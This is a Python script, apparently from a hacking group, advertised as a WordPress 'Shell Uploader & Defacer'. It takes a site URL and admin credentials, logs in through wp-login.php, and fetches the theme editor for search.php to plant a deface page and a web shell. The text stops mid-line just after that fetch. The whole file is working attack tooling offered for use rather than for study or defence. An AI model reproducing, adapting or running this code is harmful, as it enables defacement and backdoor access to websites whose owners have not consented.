#coded by a 15 years old script kiddie :p #Learn to code, not to copy :) #Video Demo: https://youtu.be/KYtFpwV0x3w #https://github.com/skidiekhan/wp-sud #Salam to all muslim brothers :) import requests, re, sys, os from platform import system def clearscrn() : if system() == 'Linux': os.system('clear') if system() == 'Windows': os.system('cls') clearscrn() print("==============================") print("[+] WP~SUD v.10") print("[+] Shell Uploader & Defacer") print("[~] Coded by Skidie khan") print("[+] github.com/skidiekhan/ ") print("[+] === [+] === [+] === [+]") print("TeaM Cyb3r CommandOs") print("=============[+]==============") print("Love to ~ Tiger M@te") print("==============================") with requests.session() as c: url=raw_input('[+]Put site url with http:// (i.e: http://www.site.com)\n>>> ') url2 = url + '/wp-login.php' admin = url + '/wp-admin/' username = raw_input('[+]Put username: ') password = raw_input('[+]Put password: ') filename = raw_input('[+]put deface page name: ') defopen = open(filename, 'r') defcode_1 = defopen.read() defcode = defcode_1.replace("\"","'") headers = {'Referer':url, 'User-Agent':'Mozilla/5.0'} try: p=c.get(url2, headers = headers) code=str(p.status_code) except (requests.exceptions.RequestException, IOError): print ('Error Occured when trying to get login url!\nclosing program!') sys.exit() v= '200' if code == v: print ('===> URL is OK. Trying to Log In....') login_data={'log':username, 'pwd':password, 'wp-submit':'Log+In','redirect_to':admin, 'testcookie':'1'} try: c.post(url2, data=login_data,headers=headers) test=c.get(admin,headers=headers) code2=str(test.status_code) except (requests.exceptions.RequestException, IOError): print ('Error Occured when trying to login!\nclosing program!') sys.exit() if code2 == v: print('===> login Success! Uploading Shell....') editor=admin + 'theme-editor.php?file=search.php#template' edit=admin + 'theme-editor.php' try: req=c.get(editor, headers=headers) source=req.content except (requests.exceptions.RequestException, IOError): print ('Error Occured when trying to edit theme!\nclosing program!') sys.exit() n=re.findall('